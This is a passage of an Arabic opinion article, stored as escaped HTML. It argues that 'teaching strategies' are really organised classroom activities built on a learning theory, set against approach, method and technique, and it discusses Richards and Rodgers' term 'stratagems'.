\u064a\u0633\u062a\u062b\u064a\u0631 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u0627\u062a \u0627\u0644\u0645\u062a\u0639\u0644\u0645 -\u0623\u064a \u062e\u0637\u062a\u0647 \u0627\u0644\u0645\u0646\u0638\u0645\u0629 \u0627\u0644\u0648\u0627\u0639\u064a\u0629 \u0628\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u062a\u0639\u0644\u0645 \u2013 \u0644\u0644\u0642\u064a\u0627\u0645 \u0628\u0627\u0644\u062a\u0639\u0644\u0645. \u063a\u064a\u0631 \u0623\u0646 \u0639\u0645\u0644 \u0627\u0644\u0645\u0639\u0644\u0645 \u0627\u0644\u062a\u0646\u0634\u064a\u0637\u064a \u0644\u0627 \u064a\u0645\u0643\u0646 \u0625\u063a\u0641\u0627\u0644\u0647\u060c \u0648\u062e\u0637\u0648\u0627\u062a \u0627\u0633\u062a\u062b\u0627\u0631\u0629 \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0634\u0637 \u0644\u062f\u0649 \u0627\u0644\u0645\u062a\u0639\u0644\u0645 \u064a\u0642\u0648\u0645 \u0628\u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646\u0647\u0627 \u0627\u0644\u0645\u0639\u0644\u0645\u060c \u0644\u0630\u0627 \u0643\u0627\u0646\u062a \u0627\u0644\u0636\u0631\u0648\u0631\u0629 \u0645\u0644\u062d\u0629 \u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0635\u0644\u062d \u064a\u0634\u064a\u0631 \u0644\u0645\u0627 \u064a\u0642\u0648\u0645 \u0628\u0647 \u0627\u0644\u0645\u0639\u0644\u0645\u060c \u0641\u0627\u0646\u062a\u0642\u0644\u062a \u0643\u0644\u0645\u0629 &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629&#8221; \u2013 \u0628\u0648\u062c\u0627\u0647\u062a\u0647\u0627 \u2013 \u0644\u062a\u0634\u0643\u0644 &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633&#8221;.\u00a0\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0648\u0647\u0647\u0646\u0627 \u0627\u0646\u0641\u062c\u0631\u062a \u0627\u0644\u0645\u0634\u0643\u0644\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u0639\u0646\u062f\u0645\u0627 \u0627\u0642\u062a\u062d\u0645\u062a &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a&#8221; \u0627\u0644\u062d\u0631\u0645 \u0627\u0644\u0645\u0642\u062f\u0633 \u0644\u0644\u0645\u062f\u062e\u0644 \u0648\u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0648\u0627\u0644\u0623\u0633\u0644\u0648\u0628\u060c \u0648\u0632\u0627\u062d\u0645\u062a\u0647\u0645 \u0648\u062a\u062f\u0627\u062e\u0644\u062a \u0645\u0639\u0647\u0645\u060c \u0641\u0635\u0627\u0631 \u0644\u062f\u064a\u0646\u0627 &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0644\u0644\u062a\u062f\u0631\u064a\u0633&#8221; \u0648\u0637\u0631\u0627\u0626\u0642 \u0648\u0623\u0633\u0627\u0644\u064a\u0628 \u0648\u0645\u062f\u0627\u062e\u0644 \u0648\u0625\u062c\u0631\u0627\u0621\u0627\u062a\u060c \u0648\u062d\u0627\u0631 \u0627\u0644\u0646\u0627\u0633 : \u0623\u064a\u0646 \u0646\u0636\u0639 \u0647\u0630\u0627 \u0627\u0644\u0648\u0627\u0641\u062f \u0627\u0644\u062c\u062f\u064a\u062f \u0627\u0644\u0645\u0641\u0631\u0648\u0636 \u0639\u0644\u064a\u0646\u0627 \u062a\u062d\u062a \u0636\u063a\u0637 \u0633\u0644\u0637\u0629 \u0627\u0644\u0627\u0647\u062a\u0645\u0627\u0645 \u0628\u0627\u0644\u0645\u062a\u0639\u0644\u0645\u061f \u0647\u0644 \u062a\u0643\u0648\u0646 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0623\u0639\u0645 \u0645\u0646 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0623\u0648 \u0623\u0642\u0644 \u0645\u0646 \u0627\u0644\u0645\u062f\u062e\u0644 \u0623\u0645 \u062a\u062a\u0633\u0627\u0648\u064a \u0645\u0639 \u0627\u0644\u0623\u0633\u0644\u0648\u0628. \u0648\u0643\u0627\u0646\u062a &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a&#8221; -\u0628\u062d\u0643\u0645 \u0627\u0644\u062f\u0639\u0627\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0635\u0627\u062d\u0628\u0647\u0627 \u0648\u0627\u0644\u0648\u062c\u0627\u0647\u0629 \u0648\u0627\u0644\u0628\u0631\u0633\u062a\u064a\u062c \u0627\u0644\u0630\u064a \u062a\u062d\u0645\u0644\u0647- \u062a\u0623\u0628\u0649 \u0625\u0644\u0627 \u0623\u0646 \u062a\u0643\u0648\u0646 \u0641\u064a \u0631\u0623\u0633 \u0627\u0644\u0647\u0631\u0645\u060c \u0641\u0647\u064a \u062a\u0642\u062a\u062d\u0645 \u0627\u0644\u0628\u064a\u062a \u0627\u0644\u0642\u062f\u064a\u0645 \u0648\u0644\u0627 \u062a\u0631\u0636\u064a \u0628\u0632\u0627\u0648\u064a\u0629 \u0641\u064a\u0647 \u0628\u0644 \u062a\u0646\u0627\u0632\u0639 \u0623\u0647\u0644\u0647 \u0633\u0631\u0629 \u0628\u064a\u062a\u0647\u0645.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0641\u0642\u0627\u0644 \u0627\u0644\u0628\u0639\u0636 \u0625\u0646 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u2013 \u0628\u0627\u0639\u062a\u0628\u0627\u0647\u0627 \u062e\u0637\u0629 \u0645\u0646 \u0637\u0628\u0642\u0627\u062a\u00a0 strata \u2013 \u0647\u064a \u0645\u062c\u0645\u0648\u0639\u0629 \u0627\u0644\u0645\u062f\u0627\u062e\u0644 \u0648\u0627\u0644\u0637\u0631\u0627\u0626\u0642 \u0648\u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0648\u0627\u0644\u0623\u0633\u0627\u0644\u064a\u0628 \u0645\u0639\u0627\u060c \u0648\u0647\u064a \u0627\u0644\u062d\u0643\u0645\u0629 \u0641\u064a \u0627\u062e\u062a\u064a\u0627\u0631 \u0623\u064a\u0647\u0627 \u064a\u0646\u0627\u0633\u0628 \u0627\u0644\u0645\u0648\u0642\u0641 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u064a. \u0648\u0627\u0644\u0628\u0639\u0636 \u0631\u0623\u0649 \u0623\u0646\u0647\u0627 \u0645\u0631\u0627\u062f\u0641 \u0644\u0644\u0637\u0631\u064a\u0642\u0629 \u2013 \u0648\u0647\u0648 \u0627\u0644\u0645\u0635\u0637\u0644\u062d \u0627\u0644\u0639\u062a\u064a\u0642 \u0641\u064a \u0627\u0644\u062a\u062e\u0635\u0635- \u0648\u0645\u0627 \u062a\u0646\u0627\u0632\u0644 \u0645\u0646 \u062a\u0646\u0627\u0632\u0644 \u0639\u0646 \u0645\u0648\u0642\u0641\u0647 \u0627\u0644\u0623\u0648\u0644 \u0625\u0644\u0627 \u0644\u0623\u0646\u0647 \u0631\u0623\u0649 \u0623\u0646 \u0623\u064a \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0644\u0627 \u062a\u0633\u062a\u063a\u0646\u064a \u0639\u0646 \u0646\u0638\u0631\u064a\u0629 \u062a\u0633\u062a\u0646\u062f \u0625\u0644\u064a\u0647\u0627\u060c \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u064a\u0643\u0648\u0646 \u0627\u0644\u0645\u062f\u062e\u0644\u00a0 approach\u00a0 \u0623\u0639\u0644\u0649 \u0648\u0623\u0639\u0645 \u0645\u0646 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629.\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0641\u0625\u0630\u0627 \u0646\u0638\u0631\u0646\u0627 \u0625\u0644\u0649 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0645\u064a\u062f\u0627\u0646\u064a \u0644\u0646\u0645\u0627\u0630\u062c \u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633\u060c \u0647\u0627\u0644\u0646\u0627 \u0623\u0646\u0647\u0627 \u0644\u0627 \u062a\u0632\u064a\u062f \u0639\u0646 \u0643\u0648\u0646\u0647\u0627 \u0628\u0639\u0636 \u0623\u0646\u0634\u0637\u0629\u00a0 activities\u00a0 \u0645\u0646\u062a\u0642\u0627\u0629\u061b \u0645\u062b\u0644 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0627\u0644\u0628\u064a\u062a \u0627\u0644\u062f\u0627\u0626\u0631\u064a\u00a0 round house\u00a0 \u0623\u0648 \u0627\u0644\u0642\u0628\u0639\u0627\u062a \u0627\u0644\u0633\u062a\u00a0 six hats\u00a0 \u0623\u0648 &#8220;\u0641\u0643\u0631-\u0632\u0627\u0648\u062c -\u0634\u0627\u0631\u0643&#8221; Think-pair-share \u0623\u0648 \u063a\u064a\u0631\u0647\u0627 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0645\u0627 \u064a\u0637\u0644\u0642\u0648\u0646 \u0639\u0644\u064a\u0647 \u0623\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u0646\u0634\u0637\u00a0 (\u0644\u064a \u0645\u0642\u0627\u0644 \u062e\u0627\u0635 \u0641\u064a \u062a\u0641\u0635\u064a\u0644 \u0627\u0644\u0642\u0648\u0644 \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u062a\u0633\u0645\u064a\u0629 \u0648\u062a\u062d\u0644\u064a\u0644 \u0646\u0633\u0628\u0629 \u0627\u0644\u0646\u0634\u0627\u0637 \u0644\u0644\u062a\u0639\u0644\u0645 \u0623\u0648 \u0644\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0644\u0645\u0646 \u0634\u0627\u0621 \u0627\u0644\u0631\u062c\u0648\u0639 \u0625\u0644\u064a\u0647).\u00a0\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0648\u0625\u0630\u0646 \u0641\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u2013 \u0628\u0647\u0630\u0627 \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0645\u064a\u062f\u0627\u0646\u064a- \u0644\u0627 \u062a\u062d\u0644\u0645 \u0623\u0646 \u062a\u0633\u0627\u0648\u064a \u0627\u0644\u0645\u062f\u062e\u0644 \u0648\u062a\u062a\u0635\u0627\u063a\u0631 \u0643\u062b\u064a\u0631\u0627 \u0623\u0645\u0627\u0645 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0648\u0644\u0627 \u062a\u0636\u0627\u0631\u0639 \u0627\u0644\u0623\u0633\u0644\u0648\u0628\u060c \u0648\u0623\u0639\u0644\u0649 \u0645\u0627 \u064a\u0642\u0627\u0644 \u0641\u064a\u0647\u0627 \u0647\u064a \u0623\u0646\u0647\u0627 \u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0644\u0623\u0646\u0634\u0637\u0629 \u062f\u0627\u062e\u0644 \u0623\u0633\u0644\u0648\u0628 \u062a\u062f\u0631\u064a\u0633\u064a \u064a\u062a\u0628\u0639 \u0637\u0631\u064a\u0642\u0629 \u062a\u0646\u0628\u0646\u064a \u0639\u0644\u0649 \u0645\u062f\u062e\u0644. \u063a\u064a\u0631 \u0623\u0646 \u0623\u0646\u0635\u0627\u0631 &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629&#8221; \u0644\u0627 \u064a\u0631\u0636\u0648\u0646 \u0628\u0647\u0630\u0647 \u0627\u0644\u0645\u0643\u0627\u0646\u0629 \u0627\u0644\u0647\u0632\u064a\u0644\u0629\u060c \u0648\u064a\u0635\u0631\u0648\u0646 \u0639\u0644\u0649 \u0639\u0638\u0645 \u062d\u062c\u0645 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a. \u0648\u0631\u063a\u0645 \u0630\u0644\u0643 \u0641\u0625\u0646 \u0645\u0639\u0638\u0645 \u0627\u0644\u0643\u062a\u0628 \u0627\u0644\u062a\u064a \u062a\u062a\u0646\u0627\u0648\u0644 &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633&#8221; \u0644\u0627 \u062a\u0647\u062a\u0645 \u0628\u0628\u064a\u0627\u0646 \u0627\u0644\u0623\u0633\u0627\u0633 \u0627\u0644\u0646\u0638\u0631\u064a \u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u0645\u0646\u062a\u0642\u0627\u0629\u060c \u0648\u064a\u0631\u0643\u0632 \u0639\u0645\u0644\u0647\u0627 \u0641\u064a \u0633\u0631\u062f \u0648&#8221;\u0631\u0635&#8221; \u0643\u0644 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0648\u0628\u064a\u0627\u0646 \u062e\u0637\u0648\u0627\u062a\u0647\u0627 \u0627\u0644\u062a\u0641\u0635\u064a\u0644\u064a\u0629\u060c (\u0648\u0644\u0630\u0644\u0643 \u0641\u0623\u0641\u0636\u0644 \u0643\u062a\u0627\u0628 \u0641\u064a \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633 \u2013 \u0641\u064a \u0631\u0623\u064a\u064a- \u0647\u0648 \u0645\u0627 \u0643\u062a\u0628\u0647 \u0627\u0644\u0645\u0631\u062d\u0648\u0645 \u062c\u0627\u0628\u0631 \u0639\u0628\u062f \u0627\u0644\u062d\u0645\u064a\u062f \u0642\u0628\u0644 \u0639\u0634\u0631\u064a\u0646 \u0633\u0646\u0629 \u0641\u064a 1999 \u0645\u0646 \u0646\u0634\u0631 \u062f\u0627\u0631 \u0627\u0644\u0641\u0643\u0631 \u0627\u0644\u0639\u0631\u0628\u064a \u062d\u064a\u062b \u0631\u0643\u0632 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631 \u0639\u0644\u0649 \u0646\u0638\u0631\u064a\u0627\u062a \u0627\u0644\u062a\u0639\u0644\u0645 \u0627\u0644\u062a\u064a \u062a\u0646\u0628\u0646\u064a \u0639\u0644\u064a\u0647\u0627 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633).\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0625\u0630\u0646 \u0627\u0644\u0635\u0631\u0627\u0639 \u0639\u0646\u062f\u0646\u0627 \u0647\u0648 \u0628\u064a\u0646 \u0643\u0644\u0645\u0629 \u0630\u0627\u062a \u0648\u062c\u0627\u0647\u0629 \u0648\u0633\u0637\u0648\u0629 \u062a\u0633\u062a\u0646\u0643\u0641 \u0623\u0646 \u062a\u0646\u0632\u0648\u064a \u062a\u062d\u062a \u0627\u0633\u0645 &#8220;\u0623\u0646\u0634\u0637\u0629&#8221;\u060c \u0648\u0648\u0627\u0642\u0639 \u064a\u0635\u0631\u062e \u0628\u0623\u0646\u0647\u0627 \u0645\u062d\u0636 &#8220;\u0623\u0646\u0634\u0637\u0629&#8221;\u060c \u0648\u0644\u0641\u0643 \u0627\u0644\u0627\u0634\u062a\u0628\u0627\u0643\u060c \u0642\u0631\u0631\u062a \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0643\u0644\u0645\u0629 \u0628\u062f\u064a\u0644\u0629 \u0631\u0628\u0645\u0627 \u062a\u0634\u0643\u0644 \u0645\u0635\u0637\u0644\u062d\u0627 \u064a\u0639\u0628\u0631 \u0639\u0646 \u0627\u0644\u062d\u0627\u0644 \u0648\u064a\u0641\u0643 \u0627\u0644\u0627\u0634\u062a\u0628\u0627\u0643\u061b \u062d\u0627\u0648\u0644\u062a \u0623\u0648\u0644\u0627 \u062a\u0635\u063a\u064a\u0631 \u0643\u0644\u0645\u0629 &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629&#8221; \u0641\u0648\u062c\u062f\u062a\u0647\u0627 \u062a\u0623\u0628\u0649 \u0627\u0644\u062a\u0635\u063a\u064a\u0631\u060c \u0648\u0643\u064a\u0641 \u0644\u0627 \u0648\u0647\u064a \u0643\u0644\u0645\u0629 \u0623\u0639\u062c\u0645\u064a\u0629 \u0627\u0642\u062a\u062d\u0645\u062a \u0627\u0644\u0639\u0631\u0628\u064a\u0629\u060c \u0628\u0644 \u0625\u0646 \u0623\u0642\u0631\u0628 \u0645\u0642\u0627\u0628\u0644 \u0639\u0631\u0628\u064a \u0644\u0647\u0627 \u2013 \u0648\u0647\u0648 \u062e\u0637\u0629- \u064a\u0633\u062b\u064a\u0631 \u0627\u0644\u0633\u062e\u0631\u064a\u0629 \u0639\u0646\u062f \u062a\u0635\u063a\u064a\u0631\u0647 &#8220;\u062e\u0637\u064a\u0637\u0629&#8221;\u060c \u0641\u0645\u0627 \u0628\u0627\u0644\u0643 \u0628\u0645\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0646\u062a\u062c \u0639\u0646\u062f \u062a\u0635\u063a\u064a\u0631 &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629&#8221;\u061f (\u0648\u0647\u0648 \u0633\u0624\u0627\u0644 \u0644\u0623\u0647\u0644 \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0648\u0646\u0634\u0627\u0637 \u0630\u0647\u0646\u064a \u0646\u062f\u0639\u0648\u0647\u0645 \u0644\u062e\u0648\u0636\u0647).\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u062b\u0645 \u0631\u0623\u064a\u062a \u0623\u0646 \u0623\u0628\u062d\u062b \u0641\u064a \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629\u060c \u0639\u0644 \u0648\u0639\u0633\u0649 \u0646\u062c\u062f \u0627\u0644\u0643\u062a\u0627\u0628\u0627\u062a \u0627\u0644\u063a\u0631\u0628\u064a\u0629 \u062a\u0633\u062a\u062e\u062f\u0645 \u0645\u0635\u0637\u0644\u062d\u0627 \u0623\u0643\u062b\u0631 \u0627\u0646\u0636\u0628\u0627\u0637\u0627\u060c \u0648\u0648\u062c\u062f\u062a \u0628\u0627\u0644\u0641\u0639\u0644 \u0623\u0646 &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a&#8221; \u0627\u0644\u062a\u064a \u0623\u0634\u0627\u0631 \u0625\u0644\u064a\u0647\u0627 \u0631\u064a\u062a\u0634\u0627\u0631\u0632 \u0648\u0631\u0648\u062c\u0632 \u0641\u064a \u062a\u0639\u0631\u064a\u0641\u0647\u0645\u0627 \u0627\u0644\u0633\u0627\u0628\u0642 \u0644\u0644\u0623\u0633\u0644\u0648\u0628 \u2013 \u0644\u0645 \u062a\u0643\u0646\u00a0 strategies\u00a0 \u0648\u0625\u0646\u0645\u0627 \u0643\u0627\u0646\u062a\u00a0 stratagems\u00a0 (\u0623\u0643\u0627\u062f \u0623\u0633\u0645\u0639 \u0632\u0641\u0631\u0629 \u0627\u0644\u0628\u0639\u0636: \u0625\u062d\u0646\u0627 \u0646\u0627\u0642\u0635\u064a\u0646\u061f) \u0648\u0625\u0630\u0646 \u0641\u0627\u0644\u0623\u0633\u062a\u0627\u0630\u0627\u0646 \u0644\u0645 \u064a\u0633\u062a\u062e\u062f\u0645\u0627 \u0643\u0644\u0645\u0629\u00a0 strategies\u00a0 \u0623\u0628\u062f\u0627 \u0641\u064a \u0643\u062a\u0627\u0628\u0647\u0627 \u0643\u0645\u0627 \u0642\u0644\u062a \u0633\u0627\u0628\u0642\u0627\u060c \u0648\u0625\u0646\u0645\u0627 \u0627\u0633\u062a\u062e\u062f\u0645\u0627 \u0647\u0630\u0647 \u0627\u0644\u0643\u0644\u0645\u0629 \u0627\u0644\u063a\u0631\u064a\u0628\u0629\u060c \u0641\u0645\u0627 \u0639\u0633\u0627\u0647\u0627 \u062a\u0639\u0646\u064a\u061f \u0641\u064a \u0627\u0644\u0645\u0639\u062c\u0645 \u0647\u064a \u062e\u0637\u0629 \u0635\u063a\u064a\u0631\u0629 \u062d\u0627\u0630\u0642\u0629\u060c \u0631\u0627\u0626\u0639 \u062c\u062f\u0627 \u0625\u0630\u0646 \u0641\u0647\u064a \u0645\u0637\u0644\u0648\u0628\u0646\u0627\u060c \u0644\u0643\u0646 &#8230;..\u0647\u0646\u0627\u0643 \u0645\u0634\u0643\u0644\u0629 \u062c\u062f\u064a\u062f\u0629\u060c \u0648\u0647\u064a \u0623\u0646 \u0627\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u0644\u063a\u0648\u064a \u0644\u0647\u0630\u0647 \u0627\u0644\u0643\u0644\u0645\u0629 \u062c\u0639\u0644\u0647\u0627 \u062a\u0639\u0637\u064a \u0645\u0639\u0627\u0646\u064a \u0625\u0636\u0627\u0641\u064a\u0629 \u062a\u062d\u0645\u0644 \u0627\u064a\u062d\u0627\u0621\u0627\u062a \u0627\u0644\u062e\u062f\u064a\u0639\u0629 \u0648\u0627\u0644\u0645\u0643\u0631 \u0648\u0627\u0644\u062e\u062f\u0627\u0639\u060c \u0648\u0644\u0630\u0644\u0643 \u0641\u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0627\u0644\u0623\u0643\u0627\u062f\u064a\u0645\u064a \u2013 \u0628\u0627\u0644\u0645\u0639\u0646\u0649 \u0627\u0644\u0645\u0646\u0636\u0628\u0637 \u0627\u0644\u0644\u0627 \u0645\u062e\u0627\u062f\u0639- \u0645\u062d\u062f\u0648\u062f \u0644\u0644\u063a\u0627\u064a\u0629. \u064a\u0635\u0627\u0641 \u0625\u0644\u0649 \u0630\u0644\u0643 \u0645\u0634\u0643\u0644\u0629 \u0623\u062e\u0631\u0649 \u0648\u0647\u064a : \u0643\u064a\u0641 \u0633\u0646\u062a\u0631\u062c\u0645\u0647\u0627\u061f \u0648\u0642\u062f \u0627\u0642\u062a\u062d\u0645\u062a \u062d\u064a\u0627\u062a\u0646\u0627 &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629&#8221; \u2013 \u0645\u0646 \u063a\u064a\u0631 \u0625\u062d\u0645 \u0648\u0644\u0627 \u062f\u0633\u062a\u0648\u0631- \u061f \u0647\u0644 \u0646\u0642\u0648\u0644 \u0645\u062b\u0644\u0627 &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u0643\u064a\u0629&#8221; \u0628\u0625\u0628\u062f\u0627\u0644 \u0627\u0644\u062c\u064a\u0645 \u0643\u0627\u0641\u0627 \u0644\u0644\u0625\u0634\u0627\u0631\u0629 \u0644\u0644\u0645\u062e\u0627\u0644\u0641\u0629 \u0628\u064a\u0646 \u0627\u0644\u0644\u0641\u0638\u062a\u064a\u0646 \u0641\u064a \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0648\u0627\u0644\u0639\u0631\u0628\u064a\u0629\u061f\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">\u0648\u0647\u0643\u0630\u0627 \u062a\u0633\u062a\u0645\u0631 \u0627\u0644\u0645\u0639\u0627\u0646\u0627\u0629 \u0641\u064a \u0645\u062d\u0627\u0648\u0644\u0627\u062a \u0641\u0643 \u0627\u0644\u0627\u0634\u062a\u0628\u0627\u0643 \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u064a \u0627\u0644\u0627\u0635\u0637\u0644\u0627\u062d\u064a \u0648\u0627\u0644\u0644\u063a\u0648\u064a \u0648\u0627\u0644\u0625\u064a\u062f\u0648\u0644\u0648\u062c\u064a \u0648\u0627\u0644\u062a\u0637\u0628\u064a\u0642\u064a. \u0648\u0627\u0644\u062e\u0644\u0627\u0635\u0629 \u0627\u0644\u062a\u064a \u0623\u0637\u0645\u0626\u0646 \u0625\u0644\u064a\u0647\u0627\u060c \u0647\u064a \u0623\u0646 \u0645\u0641\u0647\u0648\u0645 &#8220;\u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629&#8221; &#8211; \u0628\u0639\u064a\u062f\u0627 \u0639\u0646 \u0627\u0644\u062a\u062f\u0631\u064a\u0633- \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0627\u0644\u062e\u0637\u0637 \u0627\u0644\u0643\u0628\u0631\u064a \u0648\u0627\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u0645\u0646\u0638\u0645\u0629 \u0644\u062a\u062d\u0642\u064a\u0642 \u0623\u0647\u062f\u0627\u0641 \u0628\u0639\u064a\u062f\u0629 \u0627\u0644\u0645\u062f\u0649\u060c \u0623\u0645\u0627 \u0641\u064a &#8220;\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633&#8221; \u0641\u0647\u064a \u0645\u062d\u0636 \u0623\u0646\u0634\u0637\u0629 \u0645\u0646\u0638\u0645\u0629 \u062a\u062a\u0645 \u062f\u0627\u062e\u0644 \u0627\u0644\u0635\u0641\u060c \u0648\u062a\u0646\u0628\u0646\u064a \u0639\u0644\u0649 \u0646\u0638\u0631\u064a\u0629\u060c \u0648\u0628\u064a\u0646\u0645\u0627 \u0644\u0627 \u064a\u0647\u062a\u0645 \u0627\u0644\u0645\u0639\u0644\u0645 \u0627\u0644\u0645\u0645\u0627\u0631\u0633 \u0643\u062b\u064a\u0631\u0627 \u0628\u0645\u0639\u0631\u0641\u0629 \u0627\u0644\u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0642\u0641 \u062e\u0644\u0641 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u0629 -\u0627\u0644\u0646\u0627\u062c\u062d\u0629- \u0627\u0644\u062a\u064a \u064a\u0633\u062a\u062e\u062f\u0645\u0647\u0627\u060c \u064a\u062c\u0628 \u0639\u0644\u0649 \u0627\u0644\u0628\u0627\u062d\u062b \u0641\u064a \u0627\u0644\u0645\u0646\u0627\u0647\u062c \u0648\u0637\u0631\u0642 \u0627\u0644\u062a\u062f\u0631\u064a\u0633 \u0627\u0644\u0630\u064a \u064a\u0633\u062a\u062e\u062f\u0645 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u0629 \u0645\u0646 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0627\u0644\u062a\u062f\u0631\u064a\u0633 \u0623\u0646 \u064a\u0644\u0645 \u0628\u0643\u0644 \u062c\u0648\u0627\u0646\u0628 \u0627\u0644\u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0633\u062a\u0646\u062f \u0625\u0644\u064a\u0647\u0627 \u0627\u0644\u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 \u0648\u0623\u0646 \u064a\u0628\u064a\u0646 \u0647\u0630\u0627 \u0628\u0648\u0636\u0648\u062d \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0646\u0638\u0631\u064a \u0645\u0646 \u062f\u0631\u0627\u0633\u062a\u0647. \u0623\u0642\u0648\u0644 \u0625\u0646 \u0647\u0630\u0627 \u0631\u0623\u064a \u0648\u0647\u0648 \u0645\u0627 \u0635\u062d \u0639\u0646\u062f\u064a \u0648\u0648\u0642\u0631 \u0644\u062f\u064a\u060c \u063a\u064a\u0631 \u0623\u0646\u0647- \u0645\u062b\u0644 \u0633\u0627\u0626\u0631 \u0639\u0645\u0644 \u0627\u0644\u0628\u0634\u0631- \u064a\u062d\u062a\u0645\u0644 \u0627\u0644\u062e\u0637\u0623\u060c \u0648\u0644\u0627 \u0646\u0641\u0631\u0636 \u0631\u0623\u064a\u0627 \u0639\u0644\u0649 \u0623\u062d\u062f\u060c \u0648\u0645\u0631\u062d\u0628\u0627 \u0628\u0623\u064a \u062a\u0635\u0648\u064a\u0628 \u0623\u0648 